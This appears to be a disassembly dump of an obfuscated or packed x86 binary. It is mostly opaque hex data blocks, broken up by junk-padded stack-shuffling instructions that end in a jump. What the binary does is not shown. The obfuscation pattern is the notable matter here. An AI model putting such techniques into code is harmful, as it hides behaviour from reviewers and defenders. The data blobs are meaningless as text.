0D48C5590h, 0A570841h, 0B16F3080h dd 0A0865AF4h, 1813258Ah, 49DB6F29h, 799373ECh, 0FEEC0D43h dd 0ADD00AD4h, 0C76E2C92h, 0D3102C8Eh, 0AFC6690Eh, 7DB6736Ah dd 41DA5CF4h, 1394619Eh, 0DAAF40E0h, 13F51516h, 8D7530D2h dd 8AF207D0h, 0A7682E3Eh, 9DEC59B1h, 2A573325h, 11CF4E32h dd 25635C97h, 0CF4D2AF3h, 0D1D13EFDh, 4EB13DEh, 6DF660D7h dd 49DE9h, 0BA228000h, 0BB92D13h, 0B8249CA2h, 0AB22F11h dd 0B92B9DA3h, 72EA3210h, 0C7F95014h, 734DE460h, 3B05AC10h dd 0F7B31ACAh, 374D0C93h, 287EC2E7h, 6ED64F9Ah, 14D0340Ah dd 8DFBC55Ch, 0E3407ED7h, 5DC6F861h, 0E4407EE7h, 0E9582533h dd 0D9F81337h, 0A6700B40h, 0C168DC49h, 71D884FFh, 2BEE7115h dd 9CC9307Eh, 188143A2h, 6E501839h, 0EED049F3h, 2C54CD77h dd 0D0DD3A48h, 7EBFE137h, 74E14D36h, 0F5CBAF0Dh, 3099D193h dd 0D330950Eh, 36A93011h, 0C9302A80h, 1B002A51h, 1F449ABh dd 5A48h, 0B1122C00h, 0C38BAA33h, 6ED64F71h, 94AF68F7h dd 770CC930h, 0B3DE46ABh, 11701F4h, 0A5000000h, 0B728D74Fh dd 0C9309404h, 5CC5E4C5h, 0DB420262h, 59C07CE5h, 0DF46FE67h dd 0F672FCADh, 556B02ECh, 59D74EEEh, 0DE41F822h, 0C9303D1Bh dd 0E7AC8DACh, 41A5929Ch, 0AF142A83h, 4F2E9C35h, 0CCF26BD9h dd 6B75EC58h, 0BF290610h, 0D8136105h, 0BA855E78h, 0EB59CAF4h dd 0B21B5372h, 34AD178Ch, 4AF26E50h, 84BAF2D3h, 7E39A01Ch dd 0E0341905h, 2101F496h, 28D6A653h, 0BBF37130h, 70EBh dd 75FD8F00h, 0A7004DEDh, 0CF560E76h, 3587CFEEh, 0F26BD94Fh dd 71E854CCh, 78D5413Ah, 0C1FF560Eh, 5A64FD67h, 0D0EE77E5h dd 5668F173h, 0F5EB72EAh, 0EFA8A48Eh, 51A58A94h, 0E201F4B1h dd 5Ch, 0A6671550h, 0FA6ADC8Bh, 69610688h, 3E76EE57h, 0A73EA600h dd 2BB22A99h, 59F03A41h, 86A8902Bh, 64A605h, 2FDBDC9Fh dd 84CCEDC9h, 31984CBAh, 3ED74F83h, 0AC3DCCDFh, 0EB59CACFh dd 0ED72EBCAh, 0C9307A2Bh, 158AEE8Ah, 0C9307A66h, 750E4667h dd 99E044A9h, 11501F4h, 0A7000000h, 0D69D34Fh, 0EEB1107Fh dd 0F1B9EFEAh, 77ED5668h, 41ED96EEh, 59F06CD4h, 0E07F731Fh dd 0C92FF339h, 0F692B392h, 74100369h, 0F6B4ACFh, 8910D431h dd 4779E0A8h, 0F1CF66DEh, 0AC53CF94h, 0EBD78833h, 416041C2h dd 0BCD8F9D8h, 24BD1F82h, 4BD44D05h, 0C2EBD78Eh, 61CE5823h dd 7CE85F04h, 4CE5C4E5h, 0D44C1172h, 0F1D0F168h, 77ED5668h dd 9F8BF0EEh, 3A9351B2h, 0AFF6980Ch, 0EA5769FBh, 0F4CAEB72h dd 6948D18Bh, 12B7121h, 2B150000h, 0BD9C05B7h, 2B1547F5h dd 0A09E07BDh, 25049D3Fh, 660A4C04h, 3BD9DD7Ch, 4D6CE8E7h dd 34B01729h, 6BD4DFADh, 1BB584F2h, 8916723Ah, 0CF742143h dd 0CA71EE8Ah, 3C2EC07h, 37A51C22h, 0CAAE8FAEh, 155DC3B8h dd 0AEE6592Dh, 289C0937h, 9E46BF81h, 18CC3907h, 3AE49F81h dd 55FC68DDh, 0AFBC0363h, 4530FBh, 37820000h, 0ED72169Fh dd 0C930947Eh, 0B48AEECFh, 904BD44Bh, 39C93094h, 0E8713918h dd 3094C477h, 9C86FDC9h, 0F468DBE5h, 42044C6Dh, 980763B2h dd 0C9309431h, 9BFF9BBAh, 30945504h, 1F5776C9h, 7F22B6h dd 37900000h, 0E976129Bh, 0CF74A097h, 5C1F80E4h, 6DC2EC88h dd 6D4CF053h, 0EB725325h, 5DF470D5h, 0DB420263h, 0EC899044h dd 80AAD1C2h, 0D6B23293h, 5FC67EE8h, 0D6851A7Eh, 0F7C2EC87h dd 71379ED6h, 0AF3054E1h, 0C935E5AEh, 0A3B57F0Dh, 356D6411h dd 0F06F0B7Dh, 0C9232C49h, 1B82A382h, 9D04C025h, 0FD949EE5h dd 7BE262C3h, 0BC54125Ah, 918A1571h, 3ACF6C89h, 841B7F1Bh dd 0C2EC5ED5h, 369FD7F6h, 0D9B3784h, 9FBE2795h, 0CCBEDABEh dd 0DEB65B7Ah, 6A0D2EC8h, 18988B0Fh, 0EDEE7139h, 5ECF79E0h dd 6BD8E67Fh, 0F56E50F9h, 75369F1Ch, 0E8C9500Ch, 92EB469Ah dd 0B293B232h, 5C0FB42Bh, 8AF12EA6h, 9252B3A0h, 1615F3Bh dd 0ABE3C25Bh, 2DB43095h, 0B211AE13h, 8CB2930Ah, 1F86A715h dd 25121C67h, 93AD04C0h, 0BF2BB232h, 8, 0B72B150Dh, 0C7754D05h dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 74BD68EDh dd 3C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 18B1h mov [esp], edx push ecx mov ecx, 6495DCFh mov edi, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push 117Eh mov [esp], edi pop dword ptr [edx+8] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- db 0F4h, 0B8h, 0F3h dd 3064961h, 49E0FFC5h, 142580B2h, 9A248D60h, 83196A6Fh dd 7A2D4644h, 342B5E98h, 60006653h, 4D632435h, 80078414h dd 5866D180h, 647B2BE1h, 0F822B125h, 76333E1Dh, 2D63F757h dd 0B92090F6h, 4416DF19h, 7303380h, 744D9782h, 56039F9Ah dd 15718043h, 7063A26Eh, 7A7E9928h, 0E3562CF3h, 0BC4FED84h dd 0D731E9BEh, 0E846EA3Ah, 0Dh, 0F364A174h, 0EEE3CC28h dd 120A917h, 5E957DAh, 70000000h, 0A876CD8Fh, 880F5B59h dd 6, 32E2D981h, 0C3812CE0h, 6D83h, 0E24182B8h, 1B37680Dh dd 0D0810000h, 38628689h, 0F5338B5Ah, 0A6CEF681h, 8F0F1248h dd 3, 8128E080h, 3F7596F6h, 1F810F06h, 0F000000h, 198Fh dd 14E900h, 0B5B70000h, 0F50C65A5h, 6842D954h, 86C80F5Ch dd 74459816h, 0C681331Ch, 48625D66h, 0E9563389h, 11h, 9F6178B7h dd 434371DEh, 9FB1BB15h, 9FD50D2Eh, 0EB835822h, 4B4BF502h dd 0F01EA83h, 0FFFF9485h, 8DCB8BFFh, 49642E8Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0DE8FABE5h, 0BB665C21h, 8D895F33h, 6442F5Dh, 0DE9h dd 93365E00h, 0B63307D9h, 54412BADh, 0B70FA4B5h, 7985C7D6h dd 0CC064406h, 6A00006Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 34B2C351h, 95314FB8h dd 6440345h, 107185C7h, 644h, 0B58B0000h, 6441E89h, 318DB5FFh dd 0B70F0644h, 0F995FFF0h, 8B06440Bh, 441929B5h, 6BB86606h dd 0FF006A46h, 441C4D95h, 0EBC08B06h, 17DBC76Bh, 7BF80F0Ch dd 2377456Dh, 8A8D6ADCh, 0CC8F8998h, 94F39058h, 4D2DC2C6h dd 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh, 0FCED3927h dd 38CD7180h, 0BE1AC69Ch, 745FC61Bh, 22EA62EEh, 82DA6C67h dd 6DD22492h, 3D0EE036h, 7F9AE827h, 559D016Dh, 0D4BA621Eh dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 1FA9CC2Eh, 18E1F959h dd 1FB304EBh, 89E905B5h, 0E6000005h, 5769C07Ch, 0E2DC75EFh dd 4977DE7Eh, 0F3CD64D8h, 0A4862F95h, 0BE26807Ch, 6BE2917h dd 8A3291AFh, 3CA81D23h, 2AB5D195h, 0C2E7306Fh, 4FBC0E58h dd 93F76ED6h, 0CE8636ADh, 872E96F0h, 3BCB4CB9h, 0BF7AE5B6h dd 8C9306Dh, 0BF425B29h, 0A6C2A687h, 2FF68239h, 226A4BC9h dd 84E1DFBBh, 15A21193h, 0A786AE4Dh, 69571F3Eh, 0C1E81BFCh dd 0A9351B2h, 9392592Bh, 55CC78ECh, 0ED745574h, 95F173D3h dd 0A0D683F1h, 4C27C9F8h, 309228D3h, 0E480A1C9h, 3092C07Bh dd 602809C9h, 0E8D6B2F9h, 0F08BC379h, 0BB5CC926h, 0B7DC9DDh dd 0C01C2B59h, 3A046041h, 0FA531BC9h, 77AC5DC4h, 21B37184h dd 5610524h, 8817CD3Bh, 0C92FCFD1h, 3A93DBFAh, 4004605Eh dd 8EB0F8D9h, 5430A913h, 2A920E30h, 2FD006B5h, 94E6C7C9h dd 2F5502CBh, 9EA0E82Fh, 1A24BD27h, 4C025AAh, 49DBC9Dh dd 241ACA3Ah, 0F29801BBh, 0D7AF9D89h, 2E9582ACh, 0AA8B3191h dd 1CC83D03h, 9E5C1A85h, 67DC92Fh, 0BDCF371Ch, 636401F3h dd 0D6000000h, 2BEE7115h, 9CC93094h, 5ACBF5BDh, 56B08EEAh dd 1E5677EEh, 945F1887h, 77CC930h, 0B3CE361Bh, 16701F4h dd 0D5000000h, 56B72B15h, 34AEEE1Eh, 5BC2E3F8h, 980C327Ah dd 0EFD1B52Ch, 0BA84CC78h, 3D039A4Ah, 7954BC4h, 4A19C05Fh dd 93B2C930h, 9AFC69E1h, 126922BBh, 9BB2B08h, 0BF259EA0h dd 0D94FA416h, 58CCF26Bh, 4AB688ECh, 622A0B92h, 0BF81E5FBh dd 20019844h, 70071368h, 0E75D24Eh, 371637AEh, 0F9C78FAEh dd 4C0F908Fh, 7DC93094h, 0EAD47D5Ch, 6C52CB79h, 7E071BF4h dd 0F24E851Fh, 690D4AD3h, 0EB72EA57h, 0D08CF4CAh, 0D237E398h dd 1F41282h, 96B3h, 0EEA5D700h, 9C81D46Fh, 152694DCh, 1E7DB067h dd 2A620993h, 0AB32B214h, 0B8CA2D95h, 3BDCE5h, 5F1A85E8h dd 68C93053h, 7B22D49h, 0C0C93053h, 9AA4C0E1h, 0F2EB725h dd 0EE95DE47h, 0EC71D744h, 7150C973h, 61C7F950h, 0DB447AE3h dd 0C4BFF861h, 2F99A75Ah, 8B4ED1B5h, 3CC93053h, 1363551Dh dd 2001F471h, 5Bh, 5B097A44h, 19ABE3C2h, 0F26BD94Fh, 863EA896h dd 2B91F0CEh, 77A3D8B2h, 803BA4C0h, 49C93094h, 9407B22Dh dd 0E1C0C930h, 50B688C0h, 4F8F3D94h, 6BF46DD7h, 0C93094ADh dd 0EA73F154h, 56CF6DD4h, 15E73348h, 6B1E0873h, 48B8BA19h dd 0CE861F23h, 0F4B18CF8h, 1A901h, 4F1B0000h, 0B2122CD3h dd 93EEAD32h, 0FEDFC930h, 2085BBDFh, 541C3DA4h, 0D292F3CDh dd 0A8C1C4B6h, 647DB76Fh, 0B6CDB52Ch, 0A9138F6Ch, 26AA4600h dd 303402B9h, 0CBEACBC9h, 50DA30AFh, 3213CF74h, 0F13095ABh dd 0EC18AB6Eh, 0EA910EC2h, 0E3C2EC17h, 0B495B4C2h, 2C2231Dh dd 1853049Bh, 86CC2ECh, 5A12CA36h, 0AB18F521h, 35AE9039h dd 0BB28168Fh, 0F0536D09h, 839D044Ch, 64C12EF8h, 77F49E0h dd 2CFBB038h, 126h, 0F7593A48h, 33029EB3h, 9B37C97Bh, 62047612h dd 0E65C8E70h, 4BAC0898h, 8CFA0B39h, 0B0C554FEh, 460EC89Bh dd 606FBD22h, 0DEACCF74h, 0BAAA3D8Ah, 5F2961CAh, 0F183E77Eh dd 0CC29A2E9h, 0EE536D24h, 0CB38064Eh, 2F0F7D19h, 5837EF25h dd 3B05ACE4h, 0BD831ACAh, 0A0248348h, 7D061881h, 0E57A1EB1h dd 0C2EBCB36h, 823AA997h, 70D5EBA3h, 0FB6B5DF4h, 38FBAFEAh dd 44h, 1E4A385Ch, 56EDD699h, 0C68833ACh, 6041C2EBh, 9F379A28h dd 0DA4C7216h, 0D946226Ah, 0C9309472h, 0DC43DAFBh, 0C930941Dh dd 6C012D56h, 0B6294DC8h, 0C9309453h, 881CB594h, 72h, 0F272D2ECh dd 0B0024A6Bh, 76129B37h, 74A097E9h, 4ED7F6CFh, 0F8511370h dd 7EE75DC6h, 0EC8935E1h, 59C020C2h, 0EC8813C6h, 0B495B4C2h dd 30B4132Dh, 62CCB7A9h, 2FFB80EAh, 4AE361C2h, 4D29640Ch dd 35ECC3D2h, 0B82816C9h, 1B3A4C04h, 142B0D7Fh, 0F48636ABh dd 86CE5D53h, 0C4211Fh, 909AE199h, 9AFE37DBh, 0FB61C0FEh dd 81092CB3h, 0DBFACF6Ch, 9B37C072h, 0CEE97612h, 3FCF79F8h dd 0DDE3871Eh, 7722BD64h, 50C2E730h, 0E8C95071h, 0BF259EA0h dd 0C8B2A9DBh, 0DBE3A820h, 9F043A93h, 0E6D8BC25h, 7E5FC67Eh dd 53E2A936h, 7216C6E3h, 540EB400h, 93DB5580h, 74D13EE8h dd 6FF094F0h, 0C37AC0ACh, 0DD743C1Dh, 5BC282E3h, 2440FC65h dd 0BD29A61Ah, 9EBF9E07h, 4C374FD6h, 0D44B2FE2h, 0C37AC025h dd 0F1CF87A6h, 0EC58CF94h, 11755475h, 920BB92Fh, 6C52FBB3h dd 40D44DF7h, 14h, 5F2D49F2h, 55CACB42h, 0C9303AA6h, 10740627h dd 71C38B78h, 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h dd 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h dd 54E968EDh, 34890000h, 6F2A6824h, 14890000h, 0E3895324h dd 4C381h, 0EB830000h, 241C8704h, 240C895Ch, 28BDBD55h dd 66BA5984h, 295FCD8Dh, 242C8BEAh, 5404C483h, 83240C8Bh dd 895604C4h, 87189D6h, 8124348Bh, 4C4h, 240C8B00h, 5E08950h dd 4, 8704C083h, 8B5C2404h, 89562414h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 14E8E95Ch, 7ED4FFFBh, 4969B7B8h, 0FFC50306h dd 84759CE0h, 0B733BE21h, 9116A564h, 8D8D07h, 6606496Bh dd 896FD7BAh, 442F5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h dd 0C3524200h, 88B4AB9Bh, 67985C7h, 5C100644h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 7BF963C3h, 9598FBCh, 958B576Ch, 6440689h, 0D6BF0F5Bh dd 107185C7h, 644h, 0DA800000h, 0B9B5FF4Ch, 6A06441Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 5B03C351h, 0D9952972h, 0FF064414h, 440BF995h dd 66566006h, 5E0423B8h, 0D243F181h, 6A613E0Dh, 4D95FF00h dd 8B06441Ch, 0ED6DEBC0h, 0B39E16A4h, 8D37DEEDh, 40407695h dd 2EC2A1AAh, 30C15CDAh, 0A281B6EFh, 3B28D89Bh, 3F909495h dd 7EE086AAh, 0F6C85FAAh, 94FC4103h, 0ACD916F9h, 54BEECFh dd 0AA202C3Dh, 46023C01h, 0DBF59D61h, 0E4244C2Dh, 0D0B112C6h dd 43E6E27Dh, 0EDE664CEh, 10DA6AB3h, 1BA56B12h, 382D0F67h dd 15D3DFCh, 0D72894EDh, 0A530D729h, 9FB70972h, 0B0E9h dd 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h, 6442D7Dh, 36840Fh dd 853B0000h, 6440E25h, 2A840Fh, 853B0000h, 6441D85h, 1E840Fh dd 853B0000h, 6440905h, 12840Fh, 0BD830000h, 64429B5h dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h dd 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h dd 314518Bh, 850B8BD8h, 10840FC9h, 3B000000h, 17820FCEh dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h dd 0DE9FFh, 9D8D0000h, 6444E55h, 5B8h, 61E3FF00h, 0EBD00BC3h dd 60h, 17h dup(0) dd 0AFFE900h, 0F3E90000h, 6800000Ah, 6497457h, 0FB1279E9h dd 75B068FFh, 6FE90649h, 68FFFB12h, 649760Ah, 0FB1265E9h dd 0D686FCFFh, 7FE5417Fh, 0C478E8D6h, 4EEE536Dh, 0F56FD9E7h dd 46B67E5Ch, 0F3CD64E0h, 4779D094h, 0F7C960DCh, 3B7FD68Eh dd 2819C05Fh, 0E4B2C2E7h, 6CD84F56h, 0C8F692F5h, 3A0BB758h dd 81143CDBh, 6FD6E8A0h, 1625CF5h, 0BAE29906h, 8FEBC92Fh dd 2FBB6910h, 624362C9h, 7DE4DA43h, 0D7846DFh, 96F0CE57h dd 0EDD3B72Eh, 0BE80C874h, 3B059C48h, 0B18F16C6h, 4C72EB51h dd 0B3F56CD8h, 8D4CD31Fh, 3EC92FBBh, 3E5A3E1Fh, 0BE21A300h dd 0C92FBAFBh, 0C1A5EDCCh, 7927C65Eh, 422607CFh, 0F55C087Ch dd 0DFC325B3h, 8E1207E0h, 0FD8635AAh, 6647C2E6h, 9D026647h dd 0C2E6FCE2h, 3F5BC2E3h, 0FD15C45Bh, 0D2B6C2E6h, 0E6FD8E4Dh dd 3F1E3FC2h, 77DC4977h, 0E8C9500Ch, 4FD260C9h, 15DC6ED6h dd 942BEE71h, 118EC930h, 0C930946Ah, 15344263h, 3776C45Dh dd 0B6B444A0h, 3466C95Ch, 6AD8A715h, 0F4A7EF47h, 1C0404h dd 37B60000h, 15A517A0h, 3093CF8Ah, 6BD9F8C9h, 0D74FA715h dd 0F143DF6Dh, 47E5h, 0A0375700h, 2B15A517h, 294D05B7h dd 309403B6h, 9FFBDAC9h, 94B564FBh, 3716C930h, 6715CD7Fh dd 67BDA051h, 6BF490A2h, 0C9301DB0h, 14703819h, 6DD74FA6h dd 37115DFh, 25C43F22h, 5C1F80B4h, 6DC92FF3h, 8436044Ch dd 950D9B37h, 0BE9FBE27h, 5786A8DAh, 686CE17Ah, 1E204420h dd 0EC733BA1h, 0CF7444A6h, 3B5FC6E7h, 773F9D05h, 0EC442DE8h dd 0F5CBAFC2h, 0E19AD292h, 6374D035h, 7E81FBB0h, 33000001h dd 0BBDE6715h, 5626A248h, 8DFF4E20h, 9FD7A74Eh, 9EFA3FD9h dd 30566201h, 0DD457BC9h, 0F9C75E7Fh, 82BCD88Ch, 386BF324h dd 0EAD975B3h, 3B7352CBh, 0D64F2092h, 0C9501471h, 157BC9E8h dd 4C04B82Bh, 0A03767D5h, 0D84D7317h, 1596246Ch, 6C878267h dd 0C1241F70h, 0C36A2203h, 0A7EF4771h, 423004F4h, 0A6349890h dd 0A61F212Ah, 4226763Eh, 42000000h, 145C087Ch, 17A037A6h dd 0CF8A15A5h, 0F8C93093h, 0C7E65EC6h, 15A71575h, 0BB824B67h dd 5E169EF1h, 0F2400460h, 0ABA2B15h, 67C0B293h, 0D7708936h dd 398BB9F1h, 7BD2B15h, 63F7BF9Eh, 2Eh, 17A037D1h, 0CF8A15A5h dd 0E6C93093h, 0AA231E94h, 371EAAAh, 950118DDh, 0F547665Ah dd 9BB2B15h, 4F972541h, 43DF6DD7h, 33A91927h, 0A137C97Bh dd 0D64E7014h, 9ED6F76Eh, 94C265FAh, 2203C930h, 24BBDFBBh dd 0C9309475h, 212D1B52h, 4F39E288h, 0AB18266Eh, 4F229039h dd 0E8DC6ED6h, 17A0375Ah, 556715A5h, 4625C160h, 0AE6DF296h dd 1FC92FFDh, 6DDF763Eh, 0F4A7EF47h, 230404h, 37B60000h dd 4D7317A0h, 0D4F56CD8h, 8A152E9Ch, 0C93093CFh, 156BD9F8h dd 6DD74FA7h, 0E5F143DFh, 27h, 17A03757h, 0CF8A15A5h, 0E6C93093h dd 6CF567D8h, 0AD0F734Dh, 86341534h, 0D74FA715h, 2743DF6Dh dd 0AD34A819h, 0E576C48Ch, 0DAh, 0BC2B1557h, 0F8B09108h dd 47D818BEh, 0C9309494h, 25970B35h, 0CEBC9DBCh, 0C129D4EBh dd 2743620Fh, 308A09B8h, 7AE3C2C9h, 0CC65DF44h, 0BA2B157Eh dd 9429D04Fh, 83A2C930h, 23493BA2h, 253D7CCh, 36AF91B0h dd 7E36178Eh, 0D361E340h, 55B62B15h, 0A20F9003h, 662E0F44h dd 3BE99BFFh, 7326B91Bh, 54C93056h, 0B8010775h, 7B5A0261h dd 0A0378133h, 6AD8A517h, 0F4A7EF47h, 360404h, 37B60000h dd 15A517A0h, 451CD967h, 0D59DC224h, 296B2EB1h, 7D5CC930h dd 4FA715CFh, 7B096DD7h, 7760F78Eh, 0F16E0A0Bh, 0C9304E4Ah dd 58EAA283h, 27E5F143h, 57000000h, 7317A037h, 0F26BD94Dh dd 15299BD3h, 3093CF8Ah, 75C7E6C9h, 0D74FA715h, 7115DF6Dh dd 30942BEEh, 0F5BD9CC9h, 2B1575C7h, 0B09108BCh, 0E75DC6F8h dd 10AAF183h, 0EADF4768h, 9E053BA2h, 3CA9973Eh, 0C98E1188h dd 0F4C93021h, 8C38AE90h, 0DC73BFC4h, 0B79182E2h, 0ABE13B61h dd 0FFDE4766h, 0A81C89B7h, 1EC63F01h, 70733487h, 0D1321F0Bh dd 0C2D970Ch, 0D94FE3A5h, 6D2CB36Eh, 5EC92FE6h, 0B5C75E7Fh dd 63E5D01Dh, 0D9BD9C0Eh, 2FBD9346h, 341534C9h, 4BF16E50h dd 3D036703h, 0A3821BC9h, 0DF3E74EBh, 5E7FCF73h, 41D1A3C7h dd 444C1F0h, 0B362FDB5h, 25C2EC47h, 5E067F41h, 0D5AEE6C7h dd 6680E449h, 2BB5FBB0h, 0D1000000h, 4844C7B5h, 1375FCF2h dd 0EBDBCD8Ch, 9450B6C2h, 398BC3E2h, 0F76ED64Fh, 8B39AD93h dd 949D5CC3h, 5B20C930h, 430162CFh, 0D64F58EAh, 0D1340A6Eh dd 0E3AB8A13h, 19943C7Ah, 0B6E27Dh, 3617CF7Ah, 47F56C52h dd 50E0A60Fh, 0FCD3A1C5h, 0B29D0200h, 0A7385C14h, 0C92ABE6Dh dd 70148DACh, 2217FA02h, 0EBA3870Ch, 22F2C174h, 695733C9h dd 0FCDD44F8h, 0FE63CFB4h, 1E71186h, 8440A59Bh, 459CCCh dd 152E0000h, 942BEE71h, 0BD9CC930h, 9025B3F5h, 94C06BF4h dd 251BC930h, 3A4C04C0h, 600D7F1Bh, 9D379AAFh, 8CB2D69Eh dd 6501A814h, 0C4557301h, 0FF9B1E99h, 2FCEB960h, 7BE95AC9h dd 94B5C3E2h, 2548DCh, 37FA0000h, 0EF7014A1h, 0C9309438h dd 8C51B789h, 0AB8AAB19h, 2F95F1CFh, 9425D44Bh, 87A6C930h dd 2D95ABCFh, 0E594268Fh, 16Dh, 0BF7AE581h, 8C93094h, 37D36129h dd 0E8A1139Ch, 6ED64F5Ah, 0EE7115DCh, 0C930942Bh, 6BF272D4h dd 551D3C4Ah, 0EF474EFCh, 3004F4A7h, 0F16E910Eh, 0CC30944Ah dd 1A83A283h, 2100BC24h, 473969h, 158B0000h, 3265C467h dd 0B5FDAD66h, 65D760F3h, 8BC2B15h, 1B26E391h, 0FA4D7708h dd 68F793DBh, 0C92FC0B1h, 15893B1Ah, 0A919B62Bh, 0AA8B1233h dd 4F3486E2h, 43DB69D3h, 2FE5F1h, 0BF810000h, 22039A42h dd 733BA91Ch, 139C37C1h, 66DE4977h, 55049BFFh, 76C93094h dd 8C3E7657h, 93CF8A15h, 0C7E6C930h, 4FA71575h, 43DB69D3h dd 6ED64FF1h, 66715DCh, 0B0B2F047h, 35A71B25h, 5CC58DACh dd 17A037EEh, 6BD94D73h, 28B7D3F2h, 0C9309471h, 81337B5Ah dd 0EF476AD8h, 404F4A7h, 3Ah, 17A037B6h, 0CF8A15A5h, 0EAC93093h dd 946A118Eh, 5D63C930h, 0CFEE77E5h, 0F1D0A6EEh, 4FA71543h dd 15DF6DD7h, 942BEE71h, 0BD9CC930h, 0E575C7F5h, 2Dh, 9A42BF81h dd 0A03760D2h, 31017317h, 0FC2CD13Eh, 1507B5FDh, 3093CF8Ah dd 75C7E6C9h, 0D74FA715h, 2743DF6Dh, 6CB56655h, 7F37386Ch dd 68D44FCDh, 95F195F1h, 30944F0Ah, 0C65978C9h, 0C9309413h dd 42DD95B4h, 0C9309494h, 6FF381E5h, 5D05B7FAh, 65B1CA82h dd 0AA31988h, 68D44FB8h, 0EEE795F1h, 551BD866h, 1988B6FEh dd 5F243AA3h, 41FB66D3h, 0CE5277E8h, 0A0C4C92Fh, 0EAED269Eh dd 5A3AE04Bh, 5475ECCDh, 0ACBB2A1Ch, 687801F4h, 1CFFFFFEh dd 231DBF22h, 0E4561EBEh, 309427EEh, 954671C9h, 0AA6EC930h dd 0F2C93094h, 0C9309443h, 3094AA6Dh, 9443F2C9h, 1CB48930h dd 362D8EC2h, 60C6BE3Ah, 80E4C5E4h, 76D5AA1Fh, 0A1053B0Fh dd 21D84723h, 0AA02EA35h, 5733AA8Bh, 34EDAC33h, 0BADE02EAh dd 0EA357625h, 57765702h, 7CB9591Fh, 2BA2618h, 0FFB12E4Ah dd 3E092E50h, 1EE3BA1Fh, 0B029BDEFh, 29F24h, 32AA1800h dd 8341A59Bh, 30AC142Ah, 823AA799h, 31B3152Bh, 8A72BA98h dd 3F01A81Ch, 8BB51CC8h, 330DA418h, 0FFBB12D2h, 2055049Bh dd 2076C2E7h, 71D64F92h dd 1332AB11h, 2809BB2Dh, 0D25BF7B1h, 0A61E88B6h, 0E57A1E3Fh dd 0C9309436h, 9AFEB697h, 0FE66C0FEh, 0D0B5188Ch, 0ECA4EFF1h dd 79504373h, 0F25B7ACFh, 0E6B7AA6Dh, 0E872BC2h, 0D4300E6Ah dd 0CCA88910h, 0E6B7A853h, 480021C2h, 30234BD7h, 3FA698C9h dd 2FB6269Ah, 11672F0Eh, 0F56A5430h, 0B7FFDE47h, 0CC78EDD3h dd 7AEA5B65h, 0E3C17CE3h, 9E32C92Fh, 0B0EC7317h, 1DCF794Fh dd 583C583Ch, 0E6B714C7h, 0DC94B5C2h, 6AC381E2h, 0AF30EF54h dd 0C2E6B6ECh, 44DDFCDDh, 43276E02h, 30239CDCh, 910829C9h dd 96F23BD7h, 794F7D09h, 513042CFh, 676797E0h, 6F6B5624h dd 34129379h, 0CB340A7Ch, 4EB68811h, 0F296B796h, 44ED57CCh dd 0C25B097Ah, 0E7A79A5Dh, 3E771BC2h, 0A5003E5Ah, 15C45B3Fh dd 0B6C2E777h, 1440DF97h, 49C930E4h, 2307B22Dh, 0E1C0C930h dd 235F1A85h, 4968C930h, 0E795F168h, 0CF4257D4h, 2C98A6F0h dd 480021B8h, 4F2B620Eh, 73D0C6D0h, 0BD2B15CFh, 0F7BF9E07h dd 2A05A081h, 5A7BA99Eh, 14657C3h, 85FF0000h, 0E4407ED7h dd 8BF7C960h, 0D94678D1h, 92F4CA63h, 0CF597BD2h, 0E049FB6Dh dd 54FD67DEh, 0EC45F76Ah, 5AF371D2h, 36E57A1Eh, 97C2E71Fh dd 9B3773C1h, 0ADE97612h, 0E0CF7A00h, 23C58C1h, 98B920A4h dd 0B3FA96D0h, 3CCE48D7h, 5E7FC92Bh, 0E022CEFBh, 77E37A7Dh dd 0ECh, 0D47DDF45h, 63CA7AEAh, 0DE77E55Dh, 74DD7FE0h dd 0C168DC4Ah, 65C339E3h, 0FD6856FFh, 71D0EE47h, 0E75C62CBh dd 0F490D47Dh, 0E71EB06Bh, 0FD4F19C2h, 76129B37h, 7A00B5E9h dd 5D3918CFh, 175F0563h, 9153B08Eh, 279D0638h, 0A8192743h dd 138CAD34h, 0C2E72868h, 91084061h, 96F23BD7h, 30947909h dd 0DC7554C9h, 6BC282E2h, 0E64FED55h, 5CF567D8h, 219B0638h dd 0EFD199B8h, 662CB79h, 8C15C738h, 6DDBE5ADh, 0B6C478E8h dd 115F8A8Dh, 0F65F7E21h, 3DA25DC8h, 0C92FCB7Eh, 0E64F6E4Fh dd 97F369D8h, 0CC8438A9h, 7AEA5B65h, 1E89B7D3h, 0B59448B9h dd 7B450D2Ch, 60DC470Ch, 0CAE09B04h, 0C8E9C92Fh, 6A0640E9h dd 48D84723h, 97CF7937h, 259A3FA9h, 5FE496B7h, 0A5EAC902h dd 4B75034Bh, 0DF4667DDh, 69C084E1h, 3FDh, 0FB494F00h dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h db 0EDh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 